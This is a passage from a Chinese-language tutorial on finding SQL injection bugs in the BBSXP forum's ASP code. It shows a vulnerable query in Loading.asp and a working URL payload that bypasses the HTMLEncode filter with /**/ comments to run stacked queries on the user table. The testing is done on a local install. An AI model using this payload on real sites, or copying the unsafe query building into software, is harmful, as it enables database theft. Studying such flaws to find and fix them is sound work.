另外还有一些比较普遍的情况类似于如下的代码:
在这段代码中menu的值没用被用到查询语句中,也就不可能会产生注入漏洞,同样也可以忽略了。
以下是代码片段:
select case Request("menu")
case "add"
add
case "bad"
bad
case "Del"
Del
case "Post"
Post
case "look"
look
case "loadLog"
loadLog
case "addPost"
addPost
case ""
index
end select
以上这些内容我说了很多什么样的代码不会产生注入漏洞,你一定会急着知道什么样的代码才是我们要查找的目标,什么样代码才会产生漏洞。拿出一点耐心来,通过对上面的这几种情况进行排除之后,在702个搜索结果中所剩的也就是只有十几个了。接下来我就说一说产生漏洞的代码在什么地方。
找到Loading.asp的第一个搜索结果可以看到这段代码:
在这段代码中从查询语句看应该是存在出现数字型注入漏洞的可能,而对ForumID却使用HTMLEncode方法进行过滤,也就是说除了单引号等特殊字符以外的字母和常用符号都是可以通过验证的。为了证实这个想法,在这段代码后面加上一句
以下是代码片段:
id=int(Request("id"))
ForumID=HTMLEncode(Request("ForumID"))
if id="0" then
if Request("ForumID")="0" then
sql="select * from [BBSXP_UsersOnline] where UserName〈〉’’ and eremite〈〉1"
else
sql="select * from [BBSXP_UsersOnline] where ForumID="&ForumID&" and UserName〈〉’’ and eremite〈〉1"
end if
Response.Write(sql)
用来查看最终运行的查询语句的样子。然后直接访问刚才搭建的论坛使用类似如下的URL:
http://localhost/bbsxp/loading.asp?ForumID=0/**/select/**/username/**/from/**/bbsxp_user/**/select/**/*/**/from/**/bbsxp_usersonline/**/where/**/forumid=0
空白页面上显示出我们所需要的查询语句
这意味着我们已经成功地通过了过滤,并且已经成功执行了。这样的话就可以把URL中的” select/**/username/**/from/**/bbsxp_user”这句查询修改成任意的不包含特殊字符的SQL查询语句,接下来的该怎么做就不需要我在说了吧@^@。有的时候查询语句不能够像这样直接在界面上显示出来,那可以使用Sql Profile监视一下提交给数据的查询语句。
以下是代码片段:
select * from [BBSXP_UsersOnline] where ForumID=0/**/select/**/username/**/from/**/bbsxp_user/**/select/**/*/**/from/**/bbsxp_usersonline/**/where/**/forumid=0 and UserName〈〉’’ and eremite〈〉1
由于论坛的安全性一般都比较高,所以漏洞查找起来就像是大海捞针一样,只要掌握了一些方法才会在一定程度上简化这个过程。本文中我仅仅给大家说了一个漏洞的发现过程,相对来说还是比较简单的一个,可能是由于bbsxp改版的过程中代码量比较大而没有注意到这些细节的问题吧。在更多的时候每一个从客户端接收的变量都要经过几个方法之间的传递之后才会送到数据库中去,对于这样的情况发现和测试都是比较困难的。不过万变不离其宗,只要你掌握了方法,多尝试几次相信你也可以做得到的。
实际上除了我刚才说的这个漏洞之外还有一个不太显眼的漏洞,你可以尝试着去搜索一下。这个问题就留给大家了,要相信你自己一定会找到的!!!